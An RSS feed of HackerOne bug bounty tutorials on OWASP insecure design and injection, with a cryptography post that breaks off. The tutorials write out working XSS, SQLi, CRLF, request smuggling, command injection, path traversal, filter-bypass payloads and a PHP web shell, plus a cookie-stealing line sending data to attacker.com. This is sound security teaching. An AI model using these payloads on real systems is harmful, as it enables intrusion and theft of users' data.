<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0" xml:base="https://www.hackerone.com/">
  <channel>
    <title>Researcher Community</title>
    <link>https://www.hackerone.com/</link>
    <description/>
    <language>en</language>
    
    <item>
  <title>Breaking Down the OWASP Top 10: Insecure Design</title>
  <link>https://www.hackerone.com/blog/breaking-down-owasp-top-10-insecure-design</link>
  <description><![CDATA[<span class="field field--name-title field--type-string field--label-hidden">Breaking Down the OWASP Top 10: Insecure Design</span>
    



    
        Andrew Pratt
        
            Security Researcher
      
    


<span class="field field--name-uid field--type-entity-reference field--label-hidden"><span>h1_admin</span></span>
<span class="field field--name-created field--type-created field--label-hidden">Tue, 12/17/2024 - 13:16
</span>

            
  
      
  
    Image
                



          

  

      
            December 17th, 2024

      
            <p dir="ltr">In the absence of these considerations, systems can be retrofitted with ineffective security controls or lack them entirely. This can be attributed to teams rushing to meet a release deadline or those who are unaware of the security threats they may encounter.</p><p dir="ltr">This lack of threat modeling and adherence to best practices and principles is what we, as hackers, can capitalize on.</p><p dir="ltr">To understand what is considered an insecure design vulnerability, let's evaluate some of the&nbsp;<strong>Common Weakness Enumerations</strong> (<strong>CWEs</strong>) mapped to this classification. You can view the full list&nbsp;<a href="https://owasp.org/Top10/A04_2021-Insecure_Design/" target="_blank">here</a>.</p><h2 dir="ltr">CWE-602: Client-Side Enforcement of Server-Side Security</h2><p dir="ltr">This design weakness arises when a server relies solely on client-side protections for enforcing security policies.</p><p dir="ltr">Many web applications implement input validation or sanitization to prevent malicious payloads from being processed by the server. These security measures also restrict the data end users are allowed to submit, such as rules governing the allowed data type, minimum/maximum length, format, or characters.</p><p dir="ltr">These protections often take place on the client side because it improves the speed of the checks and provides a better user experience, however, if user input is not also properly checked by the server, you can easily circumvent these defensive measures through the use of an HTTP proxy tool such as&nbsp;<a href="https://caido.io/">Caido</a>. By intercepting a request after it is sent by the browser, you can bypass any client-side restrictions or checks, allowing you to modify the data being sent.</p><p dir="ltr">For example, consider a form that limits users to alphanumeric characters when supplying input to the fields. To accomplish this, the developers defined the following validation schema using the&nbsp;<a href="https://zod.dev/">Zod</a> library:</p><p dir="ltr"><br>While this would block a payload such as&nbsp;&lt;img src=x onerror=alert()&gt; from being submitted, if the backend is not validating the data again, you could simply supply valid input initially and then change the value in an intercepted request:</p>POST /comment HTTP/1.1<br>Host: example.com<br><br>comment=%3Cimg%20src%3Dx%20onerror%3Dalert()%3E<p dir="ltr">Similarly, if sanitization is being used to remove data containing script tags but is only performed in the frontend, you could bypass this check by embedding the tag within another:</p>&lt;scr&lt;script&gt;ipt&gt;alert()&lt;/scr&lt;script&gt;ipt&gt;<p dir="ltr">As you can see, this vulnerability would allow you to send arbitrary data that will be handled by the backend – a design choice that was not intended. While this may be sufficient for a normal user, it would be inadequate against you as a bug bounty hunter.</p><h2 dir="ltr">CWE-73: External Control of File Name or Path</h2><p dir="ltr">When parameters that specify files are exposed, without the proper restrictions in place, you may be able to access, modify, or execute arbitrary files. This can be especially impactful when access to files and directories outside of the web root is possible, as these directories contain sensitive system files.</p><p dir="ltr">For example, if an application selects&nbsp;an image file to use as the banner of a webpage, you could use directory traversal techniques to access other files:</p>GET /image?filename=../../../etc/passwd<p dir="ltr">Even if security checks are implemented, such as ensuring that the filename ends in an image extension, it may be possible to terminate the file path by using a null byte:</p>GET /image?filename=../../../etc/passwd%00.jpg<p dir="ltr">If traversal sequences are being matched and removed, the same embedding technique mentioned earlier may bypass this sanitization:</p>GET /image?filename=....//....//....//etc/passwd<p dir="ltr">If the web application offers file upload functionality, the presence of this insecure design capability can result in the ability to upload malicious files. For example, if a server was using PHP as its backend language, you could potentially achieve remote code execution by uploading your own PHP file with the following script:</p>&lt;?php echo system($_GET['command']); ?&gt;<p dir="ltr">By navigating to the uploaded file's location and supplying the&nbsp;command&nbsp;parameter, you could run system commands on the server:</p>GET /uploads/command.php?command=whoami<h2 dir="ltr">CWE-444: Inconsistent Interpretation of HTTP Requests</h2><p dir="ltr">Certain insecure design vulnerabilities in a system's architecture can be exploited via HTTP request smuggling attacks.</p><p dir="ltr">For web applications that are not well known and thus receive low levels of traffic, a single server is most likely sufficient enough to handle all the incoming requests. However, popular applications can receive levels of traffic that would overwhelm a solo server – resulting in latency issues or outages. To mitigate against system downtime, network engineers may place servers (load balancers or reverse proxies) in front of backend servers to alleviate the workload. These frontend servers will intercept multiple requests, group them, and distribute the bundled requests in a way that ensures no one backend server is overwhelmed. Each request in this bundle will enter a processing queue.</p><p dir="ltr">To delineate these bundled requests, HTTP/1.1 utilizes two request headers to specify where one request ends, and another begins:&nbsp;Content-Length and&nbsp;Transfer-Encoding.</p><p dir="ltr">The value of the&nbsp;Content-Length header is representative of the number of bytes in the body of a request. For example:</p>POST /comment HTTP/1.1<br>Host: example.com<br>Content-Length: 28<br>Content-Type: application/x-www-form-urlencoded<br><br>comment=X&amp;username=ninjeeter<p dir="ltr">If the value of the&nbsp;Transfer-Encoding header is set to&nbsp;chunked, the request body data is divided into one or more portions referred to as "chunks". The data is also measured in bytes but is represented in hexadecimal encoding. With this header, the end of a request is marked with a chunk size of&nbsp;0. For example:</p>POST /comment HTTP/1.1<br>Host: example.com<br>Transfer-Encoding: chunked<br>Content-Type: application/x-www-form-urlencoded&nbsp;<br><br>1c<br>comment=X&amp;username=ninjeeter<br>0<p dir="ltr">The vulnerability arises when there is a mismatch between the frontend and backend server on which the header is to be used. By sending a request with both headers, the frontend is tricked into thinking multiple requests are a single request. However, once the backend receives this "single" request, it processes each one separately.</p><p dir="ltr">For example, if the frontend server uses the value of the&nbsp;Content-Length header to determine the end of a request, but the backend uses&nbsp;Transfer-Encoding: chunked – you could potentially "smuggle" a request to a restricted endpoint with:</p>POST /comment HTTP/1.1<br>Host: example.com<br>Cookie: session=123ABC<br>Content-Length: 138<br>Content-Type: application/x-www-form-urlencoded<br>Transfer-Encoding: chunked&nbsp;<br><br>0<br><br>GET /admin/delete?name=otheruser HTTP/1.1<br>Host: localhost<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 51<br><br>x=<p dir="ltr">This request will be seen as one by the frontend but as two by the backend. When the backend gets to the&nbsp;GET /admin/delete?name=otheruser HTTP/1.1 request, it will be held in the processing queue awaiting the missing 49 bytes. The empty parameter&nbsp;x= will catch the subsequent request and take the first 49 bytes from it.</p><p><br>It is critical to note that the value of&nbsp;Content-Length header includes the CRLF characters. Each&nbsp;\r and&nbsp;\n is considered to be one byte:</p><p dir="ltr"></p><p>&nbsp;Here are some disclosed HTTP request smuggling reports that have been submitted by security researchers on the HackerOne platform:</p><ul><li dir="ltr"><a href="https://hackerone.com/reports/2032842" target="_blank">https://hackerone.com/reports/2032842</a></li><li dir="ltr"><a href="https://hackerone.com/reports/726773" target="_blank">https://hackerone.com/reports/726773</a></li><li dir="ltr"><a href="https://hackerone.com/reports/1063627" target="_blank">https://hackerone.com/reports/1063627</a></li><li dir="ltr"><a href="https://hackerone.com/reports/777651" target="_blank">https://hackerone.com/reports/777651</a></li></ul><h2 dir="ltr">CWE-840: Business Logic Errors</h2><p dir="ltr">Business logic vulnerabilities allow malicious attackers to exploit an application's legitimate processing flow to achieve unintended results. These issues arise from unforeseen user behavior and design choices based on assumptions made by developers that do not account for edge cases.</p><p dir="ltr">In processing flows that are multistep, developers may not envision scenarios in which certain parameters are removed, reused, or modified. These parameters can be critical to the proper outcome of an operation. Data flows that should be tested for business logic vulnerabilities include:</p><ul><li dir="ltr">Password reset functionality</li><li dir="ltr">Authentication flows</li><li dir="ltr">Updating account information</li><li dir="ltr">E-commerce purchase flows</li><li dir="ltr">Applying discount codes</li></ul><p dir="ltr">Certain crucial parameters may even be inherently insecure as their values are widely known. For example, if developers require a security question to be answered before allowing a password reset, but the question is too general, such as: "What city did you grow up in?" – you could simply use&nbsp;<a href="https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Security-Question-Answers/cities.txt" target="_blank">this wordlist</a> to brute force the correct answer.</p><p dir="ltr">Since these vulnerabilities arise in the specific context of the functionality a web application offers, these insecure design weaknesses can go undetected without in-depth code review. When you are navigating an application, make sure you become familiar with the intended flow of user actions, and then you can brainstorm how the process can be exploited.</p><h2 dir="ltr">Conclusion</h2><p dir="ltr">Insecure design vulnerabilities are often tied to the specific technologies powering an application. Because of this, it is crucial to first identify and understand the technologies in use before looking for potential weaknesses. This can be accomplished by using tools such as&nbsp;<a href="https://www.whatruns.com/" target="_blank">WhatRuns</a> or&nbsp;<a href="https://www.wappalyzer.com/" target="_blank">Wappalyzer</a>. It is also important to gain a deep understanding of how the application operates, so invest ample time into a single target. Ultimately, securing an application from the ground up requires careful attention to detail, and any oversight can result in a bounty payout for you.</p>
      
            
                                                                                <a href="https://www.hackerone.com/blog/community" hreflang="en">Researcher Community</a>
                    
    

            
            <a href="https://www.hackerone.com/blog/topic/vulnerability-management" hreflang="en">Vulnerability Management</a>
        
    

            <p dir="ltr">Introduced into the&nbsp;<a href="https://owasp.org/Top10/" target="_blank">OWASP Top 10 in 2021</a>,&nbsp;<strong>insecure design</strong> is a broad vulnerability class relating to security oversights in software services and their underlying architecture or business logic. To ensure services are resilient to attack, security-conscious decision-making must be embedded throughout the entire development lifecycle.</p>
      ]]></description>
  <pubDate>Tue, 17 Dec 2024 19:16:52 +0000</pubDate>
    <dc:creator>h1_admin</dc:creator>
    <guid isPermaLink="false">5462 at https://www.hackerone.com</guid>
    </item>
<item>
  <title>Breaking Down the OWASP Top 10: Injection</title>
  <link>https://www.hackerone.com/blog/breaking-down-owasp-top-10-injection</link>
  <description><![CDATA[<span class="field field--name-title field--type-string field--label-hidden">Breaking Down the OWASP Top 10: Injection</span>
    



    
        Andrew Pratt
        
            Security Researcher
      
    


<span class="field field--name-uid field--type-entity-reference field--label-hidden"><span>h1_admin</span></span>
<span class="field field--name-created field--type-created field--label-hidden">Fri, 11/22/2024 - 09:12
</span>

            
  
      
  
    Image
                



          

  

      
            November 21st, 2024

      
            <p dir="ltr">The injection classification is broad in scope and includes attack vectors such as:</p><ul><li><p dir="ltr">cross-site scripting&nbsp;(XSS)</p></li><li><p dir="ltr">SQL injection&nbsp;(SQLi)</p></li><li><p dir="ltr">carriage return/line feed injection&nbsp;(CRLF)</p></li><li><p dir="ltr">server-side template injection&nbsp;(SSTI)</p></li><li><p dir="ltr">header injection</p></li><li><p dir="ltr">command injection</p></li><li><p dir="ltr">directory traversal</p></li></ul><h2 dir="ltr">Cross-Site Scripting (XSS)</h2><p dir="ltr">Cross-site scripting is a type of injection attack in which a malicious attacker is able to supply arbitrary client-side code that is executed by a web browser in the context of the vulnerable application. XSS vulnerabilities can result in session tokens or sensitive data being stolen. There are three different types of XSS attacks:</p><h3 dir="ltr">Reflected XSS</h3><p dir="ltr">In a&nbsp;<strong>reflected cross-site scripting</strong> attack, malicious input is "reflected" from the server and executed in the response. An attacker can exploit this by sending a victim a malicious link containing the payload. When the victim clicks the link, the code runs in their browser.</p><p dir="ltr">For example, consider a web application that offers search functionality. In this scenario:</p><p dir="ltr">The frontend has a search bar that takes user input:</p>&lt;form action="/" method="GET"&gt;<br>&nbsp; &lt;input type=text placeholder="Search here…" name="userInput" value=""&gt;<br>&nbsp;&nbsp;&lt;input id="button" type="submit" value="Search"<br>&lt;/form&gt;<p dir="ltr">As the GET method is used, upon form submission, user input will be sent via the&nbsp;userInput query parameter:</p>https://example.com/index.php?userInput=XSS<p dir="ltr">On the backend, the PHP code that handles the input is:</p>&lt;?php<br>&nbsp;echo "Search results for: " . $_GET['userInput'];<br>?&gt;<p dir="ltr">Once processed, the following response would “reflect” the search term and display:</p>Search results for: XSS<p dir="ltr">Under certain vulnerable conditions, this could be exploited to obtain a victim user’s session cookie:</p>https://example.com/index.php?userInput=&lt;script&gt;fetch(`http://attacker.com:80?cookie=${btoa(document.cookie)}`)&lt;/script&gt;<h3 dir="ltr">Stored XSS</h3><p dir="ltr">In a&nbsp;<strong>stored cross-site scripting</strong> attack, the supplied malicious payload is “stored” by the web application and delivered to anyone who subsequently visits the affected web page. This vulnerability is much more severe than reflected XSS as it does not require tricking the user into navigating to a malicious link. If the affected web page receives a large amount of traffic, stored XSS can exploit a massive number of users as the payload is being served by the web application itself.</p><p dir="ltr">For example, imagine a web application that includes a support forum where users can converse with each other via comment threads. In this scenario:</p><p dir="ltr">Comments are made through form submissions that generate POST requests:</p>POST /support/comment HTTP/1.1<br>Host: example.com<br>Content-Length: 103<br>Content-Type: application/x-www-form-urlencoded<br>Connection: close<br>username=attacker&amp;email=attacker%40example.com&amp;comment<br>=%3Cimg%20src%20onerror%3Dalert%28%27XSS%27%29%3E<p dir="ltr">This payload would result in a comment containing a broken image due to no source URL being provided. The&nbsp;onerror event handler will execute since the image will fail to load and call the&nbsp;alert('XSS') function which will trigger an alert box in the victim’s browser.</p><h3 dir="ltr">Document Object Model (DOM) XSS</h3><p dir="ltr">In a&nbsp;<strong>DOM XSS</strong> attack, the vulnerability occurs on the client side as the browser’s representation of the webpage is altered.</p><p dir="ltr">For example, the JavaScript&nbsp;window.location.search property accesses the query string of the current URL. Since query parameters can be tampered with, they are considered to be a source. If the query is passed to a sink such as&nbsp;document.write(), the rendered page could be sabotaged. In this scenario, the JavaScript of the web page will keep track of a user’s search history by appending their search input to an image source. When the server receives the browser’s request for the image, the constructed source URL is added as an entry to the server logs.</p>&lt;script&gt;<br>function searchHistory(userInput) {<br>&nbsp;&nbsp;document.write(<br>&nbsp;&nbsp;&nbsp;&nbsp;'&lt;img src="/resources/images/history.gif?searches=' + userInput + '"&gt;'<br>&nbsp;&nbsp;);<br>}<br>var userInput = new URLSearchParams(window.location.search).get("search");<br>if (userInput) {<br>&nbsp;&nbsp;searchHistory(userInput);<br>}<br>&lt;/script&gt;<p dir="ltr">The URL generated after searching for “XSS” is:</p>https://example.com/?search=XSS<p dir="ltr">The&nbsp;searchHistory function takes the&nbsp;userInput argument. This argument is created using a new&nbsp;URLSearchParams class object with the&nbsp;window.location.search source as its constructor. The&nbsp;get&nbsp;method is then used to access the value of the&nbsp;search query parameter in the URL. If there is a value to this query parameter, it is appended to the image source URL using&nbsp;document.write.</p><p dir="ltr">By escaping the&nbsp;src attribute, an additional event handler attribute can be added with a payload such as:</p>escape" onload="alert('XSS')<h2 dir="ltr">SQL Injection</h2><p dir="ltr">The&nbsp;<strong>structured query language</strong> (<strong>SQL</strong>) is the language used for storing, manipulating, and retrieving data in relational databases. In a SQLi attack, modifications are made to database query statements in order to extract, update, add, or delete additional information.</p><p dir="ltr">For example, consider a web application that provides news articles, and the articles can be listed by category:</p>https://example.com/articles?category=security<p dir="ltr">This generates the following database query statement:</p>SELECT * FROM articles WHERE category = 'security'<p dir="ltr">To test if the query is vulnerable to manipulation, an attacker could submit the following payload that will add a time delay to the statement:</p>' WAITFOR DELAY '0:0:10'#<p dir="ltr">This would result in the following modified query to the database:</p>SELECT * FROM articles WHERE category = 'security' WAITFOR DELAY '0:0:10'#'<p dir="ltr">In this modified query, the first&nbsp;' character of the payload closes the&nbsp;security string value, instructs the system to wait 10 seconds before returning the database information, and handles the original&nbsp;' character by using the SQL comment syntax of&nbsp;#&nbsp;to comment it out. If the response takes ~10 seconds , this indicates that the query is vulnerable to SQLi.</p><p dir="ltr">By using the&nbsp;UNION clause, an additional query can be appended to the statement:</p>SELECT * FROM articles WHERE category = 'security' UNION<br><br>SELECT username, password FROM users#<p dir="ltr">For this attack to work, both queries must return data from the same number of columns, and the data types must also be the same. If both the&nbsp;articles and&nbsp;users tables satisfy these conditions, the payload would be successful, and the usernames and passwords of all the accounts in the users table would be returned along with all the security-related articles.</p><p dir="ltr">To determine the number of columns in a table, an attacker can use the&nbsp;ORDER BY or&nbsp;UNION SELECT clauses:</p>SELECT * FROM articles WHERE category = 'security' ORDER BY 1#'<br><br>SELECT * FROM articles WHERE category = 'security' UNION SELECT NULL#'<p dir="ltr">For both statements, the numerical value or instances of&nbsp;NULL are incremented until a 200 status code response is received. Due to both tables having two columns each, the queries that would receive a successful response would include&nbsp;ORDER BY 2&nbsp;and&nbsp;UNION SELECT NULL,NULL. Once the number of columns is enumerated, the data type they contain can be discovered by modifying the&nbsp;UNION SELECT query to include the data type in question:</p>SELECT * FROM articles WHERE category = 'security' UNION<br><br>SELECT 'a',NULL#'<br><br>SELECT * FROM articles WHERE category = 'security' UNION<br><br>SELECT NULL,'a'#'<p dir="ltr">By using the string of&nbsp;'a'&nbsp;you can test if each column holds string data or not. If an error is returned, that discloses that the column does not hold string type data.</p><h2 dir="ltr">CRLF Injection</h2><p dir="ltr">In order to specify where a line ends and a new line begins, web servers and browsers use&nbsp;<strong>carriage return&nbsp;</strong>(%0d) and&nbsp;<strong>line feed</strong> (%0a) characters. If an application is vulnerable, this HTTP special character sequence can be used to inject HTTP lines and headers to carry out attacks such as redirects, XSS via response splitting, XSS via creating two responses, request smuggling, and response queue poisoning.</p><h4>CRLF redirects</h4><p dir="ltr">By injecting a location header, a victim user can be redirected to an arbitrary domain that could host malicious content.</p>GET /%0d%0aLocation:%20http://attacker.com HTTP/1.1<h4>CRLF XSS via response splitting</h4><p dir="ltr">If the value of a header set in a response contains user-supplied input, by supplying two CRLF injections, body data can be inserted.</p>http://example.com/?userInput=xss%0d%0a%0d%0a&lt;script&gt;alert()&lt;/script&gt;<h4>CRLF XSS via creating two responses</h4><p dir="ltr">By injecting a Content-Length header with a value of zero and then creating an entire valid second response, a payload can be inserted.</p>http://example.com/index.php?page=%0d%0aContent-Length:%20-%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3cscript%3ealert()%3c/script%3e<h4>CRLF HTTP request smuggling</h4><p dir="ltr">If the web application uses a load balancer or reverse proxy, under certain conditions the backend server may interpret a single request as two separate requests. This situation can arise when there is a mismatch between how the intermediate server and backend server handle the Content-Length and Transfer-Encoding: chunked headers. This can lead to bypass vulnerabilities because the two do not agree on where a request ends and another begins.</p>GET /%20HTTP/1.1%0d%0aHost:%20example.com%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/admin%20HTTP/1.1%0d%0aHost:%20example.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1<h4>CRLF response queue poisoning</h4><p dir="ltr">The pairing of responses to their appropriate requests can be offset by using CRLF injection to create the start of a request that will be held in a processing queue by the backend until it receives a subsequent victim request that will complete it. By injecting an arbitrary header that will catch the request line of the following request, the awaiting smuggled request will become valid and processed.</p>GET /%20HTTP/1.1%0d%0aHost:%20example.com%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/admin%20HTTP/1.1%0d%0aRQP:%20x HTTP/1.1<h2 dir="ltr">SSTI</h2><p dir="ltr"><strong>Server-side template injection</strong> attacks exploit pre-designed web page layouts known as templates. Vulnerabilities can arise if user input is concatenated into a template rather than being passed as data. Templates allow for input to be converted into HTML content using what are referred to as “expressions”. The proper syntax of these expressions varies by the template engine being used.</p><p dir="ltr">If verbose error messages are returned when invalid expression syntax is supplied and these messages disclose the template engine and/or version in use, the associated documentation can be read, and exploitative payloads can be written.</p><p dir="ltr">A general payload that can be used to trigger an error is:</p>${{&lt;%[%'"}}%\<p dir="ltr">In certain cases, by supplying the correct expression syntax for evaluating mathematical equations, the template engine being used can be gleaned. If the web page is using the Freemarker engine and user input is reflected on the page,&nbsp;${7*7} could be supplied and will output 49.</p><p dir="ltr">For example, the Embedded Ruby (ERB) 2.7.0 template engine is vulnerable to external command execution:</p>GET /?query=%20system("whoami")%20%&gt;<h2 dir="ltr">Header Injection</h2><p dir="ltr">Since HTTP headers can be modified by users, they can serve as potential entry points to vulnerabilities. Exploitation of web applications that are vulnerable to header injection can result in attacks such as authentication/authorization bypasses, routing-based SSRF, and web cache poisoning.</p><h4>Header injection authentication/authorization bypass</h4><p dir="ltr">By supplying a localhost value to the host header, a system may interpret the request as one that was issued from itself. If the server uses any custom headers that identify the request origin, and overwrite the HTTP method, or requested path – these can also be vulnerable to attacks that allow for the bypassing of authentication or authorization security mechanisms.</p>Host: localhost<br>Host: 127.0.0.1<br>X-Originating-IP: 127.0.0.1<br>X-HTTP-Method-Override: PUT<br>X-Rewrite-URL: /administrator/console<h4>Header injection routing-based SSRF</h4><p dir="ltr">If a server can be induced to interact with an attacker-controlled server by supplying the associated domain name or IP address as the value of the host header, it is possible this could be used to make the vulnerable server issue requests to hosts within the internal network. By fuzzing internal IP addresses and then fuzzing for directories and file names on discovered hosts, unauthorized access to resources can be accomplished.</p>Host: 172.16.0.16<h4>Header injection web cache poisoning</h4><p dir="ltr">Deployments of content delivery networks (CDNs) are used in order to reduce the workload that an origin server is subjected to. By caching static content on CDNs, static content can be served by servers distributed across different regions. Besides offloading the processing work required by the origin server, CDNs also provide performance benefits as they reduce the roundtrip time on resource traffic. When these intermediate caching servers receive a request, they must determine if they have the stored content requested. To do so, what are known as “cache keys” are utilized. The “keyed” components of a request are typically the request line and host header. Any components that are not used are referred to as “unkeyed” components. If an attacker is able to cache a response to a request that contains a malicious payload that will be served to other users, this can lead to severe consequences.</p><p dir="ltr">For example, some websites generate dynamic URLs for resource imports. The value of headers such as X-Forwarded-Host can be used to construct these source URLs. If the header is unkeyed but the request line and host header are, an attacker could create a malicious file to be imported and the cached response would distribute this file to anyone who visits the same keyed request for the duration of the cached response.</p>GET / HTTP/1.1<br>Host: example.com<br>X-Forwarded-Host: attacker.com<p dir="ltr">In this scenario, the domain value of the X-Forwarded-Host header is used as the script source with an appended path and filename:</p>HTTP/1.1 200 OK<br>--snip–<br>&lt;script src="https://attacker.com/static/analytics.js"&gt;&lt;/script&gt;<p dir="ltr">By creating a malicious JavaScript file named&nbsp;analytics.js within a directory named&nbsp;static on the attacker-controlled server, an attacker could have the CDN server spread their payload to anyone who visits the home page of example.com.</p><h2 dir="ltr">Command Injection</h2><p dir="ltr">In a command injection attack, attackers can execute operating system commands on a server via user supplied input. These vulnerabilities arise when user input is directly handled by the shell of the system. This can be accomplished by directly injecting system commands into vulnerable components or by concatenating additional commands using valid syntax.</p><p dir="ltr">In general, the following command operators can be used for any language, framework, or backend used by a web application:</p><strong>Execute both commands</strong>:<br>ls||id;<br><br><strong>Execute both commands</strong>:<br>ls|id;<br><br><strong>Execute both commands</strong>:<br>ls %0a id<br><br><strong>Execute second command if the first command executes</strong>:<br>ls&amp;&amp;id;&nbsp;<br><br><strong>Execute both commands, but only receive the output of the second</strong>:<br>ls&amp;id;<p dir="ltr">While the following operators are Unix specific:</p>`ls`<br>$(ls)<br>ls; id<p dir="ltr">When accounting for whitespace, literal whitespace characters can prove to be successful, but if the use of them is blacklisted, the following characters may bypass the restriction:</p><strong>Tab character, valid for both Windows and Linux operating systems</strong>:<br>%09&nbsp;<br><br><strong>Valid for Linux operating systems</strong>:<br>${IFS}<br>{ls,id}<br>+<p dir="ltr">Similar to SQLi, time delays can be introduced in order to verify that the system is vulnerable to exploitation:</p>| ping -i 10 127.0.0.1 |<p dir="ltr">If the response takes ~10 seconds to arrive, this indicates that the query is vulnerable to command injection.</p><h2 dir="ltr">Directory Traversal/Local File Inclusion</h2><p dir="ltr">In a directory traversal/local file inclusion attack, attackers can access restricted directories and read arbitrary files on the vulnerable server. Without proper protections, any file references can be replaced either directly by supplying an absolute path or indirectly by supplying a relative path.</p><p dir="ltr">For example, imagine a web application that uses a PHP script in order to load static content in the webpage based on the language of the end-user:</p>GET /index.php?language=EN HTTP/1.1<p dir="ltr">Without sufficient permission settings, sensitive files on the server such as /etc/passwd may be read:</p>GET /index.php?language=/etc/passwd HTTP/1.1<br>GET /index.php?language=../../../../../etc/passwd HTTP/1.1<h2 dir="ltr">Injection Payload Obfuscation</h2><p dir="ltr">Defenses against injection attacks will look for suspicious user input. For example, it is not normal for a user to submit HTML tags, JavaScript, or SQL statements when supplying their name in an account registration form.</p><p dir="ltr">Certain security measures that provide protection against injection payloads can be bypassed by encoding or accounting for what is being checked or removed. Obfuscation techniques can also be combined in order to increase the chances of successful processing.</p><h4>Double URL-encoding an XSS payload</h4><p dir="ltr">In the presence of intermediate servers that forward requests to the backend and perform one round of URL-decoding on input, it may be possible to bypass malicious payload identification measures by simply double URL-encoding the payload.</p>http://website.com/?search=%253cimg%2520src%253dx%2520onerror%253d%2522alert()%2522%253e<h4>HTML/Decimal/Unicode encoding an XSS payload in an HTML form</h4><p dir="ltr">If defenses match against the keyword “alert”, an encoded equivalent of the letter ‘a’ could be used as it will be interpreted as the literal character in an HTML document.</p>&lt;img src="x" onerror="&amp;#x61;lert()"&gt;<br>&lt;img src="x" onerror="&amp;#0000061;lert()"&gt;<br>&lt;img src="x" onerror="\u0061;lert()"&gt;<h4>Obfuscation using the SQL CHAR() function in an SQLi payload</h4><p dir="ltr">The CHAR() function that is native to SQL accepts a single decimal or hex code character reference and returns the associated character. If defenses are matching against the keyword “SELECT” this function can be used to bypass this filtering.</p>CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)<br>&nbsp; CHAR(0x53)+CHAR(0x45)+CHAR(0x4c)+CHAR(0x45)+CHAR(0x43)+CHAR(0x54)<h4>URL-encoded CRLF character sequence</h4>https://example.com/%250d%250aHeader:%20Value<h4>Command obfuscation</h4><p dir="ltr">Certain characters can be inserted into commands and will not interfere with correct interpretation.</p><p dir="ltr">When obfuscating commands with either single quote or double quote characters, the number of quotes used must be an even number, and the two cannot be mixed together:</p>w'h'o'a'm'i'<br><br>w"h"o"a"m"i"<p dir="ltr">Backslash characters can also be used to obfuscate commands. The number of these characters used does not have to be even like is required for single and double quote characters:</p>w\ho\am\i<p dir="ltr">The $ and @ characters can also be used:</p>who$@ami<p dir="ltr">While Linux commands are case-sensitive, Windows commands are not. A bypass could be achieved simply by altering the case of certain characters:</p>wHOaMi<h4>Directory traversal obfuscation</h4><p dir="ltr">If defenses match against travel sequences (../ or ..\) and these are stripped out of input, you can simply surround them in additional characters that will be joined together to recreate the sequence once the input is stripped:</p>GET /index.php?filename=....//....//....//etc/passwd HTTP/1.1<p>Including the web root can also result in a bypass:</p>GET /index.php?filename=/var/www/images....//....//....//etc/passwd HTTP/1.1<p>If an extension is expected, try using a null byte to terminate the path:&nbsp;</p>GET /index.php?image=....//....//....//etc/passwd%00.png HTTP/1.1<h4>&nbsp;Unicode normalization</h4><p dir="ltr">Certain unicode characters can end up being translated into interpretable variants, which can result in bypassing defense measures. If user input is reflected in a web application, you can try submitting these characters and evaluating if this “normalization” takes place.</p><p dir="ltr">For example, if the application takes the Unicode code point U+0212A as an input value and reflects the ASCII letter ‘K’, this indicates that some normalization is taking place.</p><p dir="ltr">By supplying different Unicode characters, with the proper normalization, payloads could bypass matching rules. If, for instance, the fullwidth angle brackets are converted into normal angle brackets, a script tag could be input using:</p>%EF%BC%9Cscript%EF%BC%9E<h2 dir="ltr">Conclusion</h2><p dir="ltr">As you have learned, injection vulnerabilities can lead to serious consequences if exploited. Whether they arise due to insufficient or a complete lack of input validation, sanitization, and escaping – they can result in data breaches, data manipulation, account takeover, remote code execution, and poisoning attacks.</p><p dir="ltr">When assessing targets, ensure to probe any input fields for injection attacks. Defensive teams must protect against a wide variety of different characters and encodings. However, with some evaluation, there may be a payload that slips past defenses.</p>
      
            
                                                                                <a href="https://www.hackerone.com/blog/community" hreflang="en">Researcher Community</a>
                    
    

            
            <a href="https://www.hackerone.com/blog/topic/vulnerability-management" hreflang="en">Vulnerability Management</a>
        
    

            <p dir="ltr">Injection attacks represent a class of vulnerabilities that occur when user input is processed by a web application in the absence of security measures such as input validation, sanitization, and escaping. These vulnerabilities can lead to unauthorized access to data or command/code execution on the targeted system.</p>
      ]]></description>
  <pubDate>Fri, 22 Nov 2024 15:12:27 +0000</pubDate>
    <dc:creator>h1_admin</dc:creator>
    <guid isPermaLink="false">5448 at https://www.hackerone.com</guid>
    </item>
<item>
  <title>OWASP Top 10: The Risk of Cryptographic Failures</title>
  <link>https://www.hackerone.com/blog/owasp-top-10-risk-cryptographic-failures</link>
  <description><![CDATA[<span class="field field--name-title field--type-string field--label-hidden">OWASP Top 10: The Risk of Cryptographic Failures</span>
    



    
        Andrew Pratt
        
            Security Researcher
      
    


<span class="field field--name-uid field--type-entity-reference field--label-hidden"><span>h1_admin</span></span>
<span class="field field--name-created field--type-created field--label-hidden">Mon, 10/21/2024 - 12:44
</span>

            
  
      
  
    Image
                



          

  

      
            October 21st, 2024

      
            <h2 dir="ltr">What Is Cryptography?</h2><p dir="ltr">Cryptography is the practice and study of techniques for securing communication and information by transforming it into a format that is unreadable to unauthorized users. When sufficient cryptographic measures are in place, even if an unwanted third party did gain access to protected data, they would not be able to decipher it.</p><p dir="ltr">This field of science has historically been a source of political contention. During World War II, a British mathematician named Alan Turing, was a key figure in cracking the&nbsp;<a href="https://www.cia.gov/stories/story/the-enigma-of-alan-turing/#:~:text=In%201939%2C%20Turing%20created%20a,%2C%20espionage%2C%20and%20sabotage%20activities." target="_blank">ENIGMA code</a>. The ENIGMA was a machine used by the German military to send cryptological messages to advance their war effort. Due to this, Turing’s work is credited as a vital component of ending the war. Turing also went on to become one of the major drivers of what would eventually become the modern-day computer we are familiar with today.</p><p dir="ltr">Additionally, the creator of&nbsp;<strong>Pretty Good Privacy</strong> (<strong>PGP</strong>),&nbsp;<a href="https://hiddenheroes.netguru.com/philip-zimmermann#:~:text=But%20then%20matters%20took%20a,being%20an%20illicit%20arms%20dealer." target="_blank">Philip Zimmermann</a> was subjected to a criminal investigation headed by the United States Customs Service. PGP, a cryptographic security program that is still widely used to this day, was considered to be too strong of an algorithm for export from the United States. The U.S. government, fearful that its enemies would use PGP, alleged that it violated the Arms Export Control Act – the same 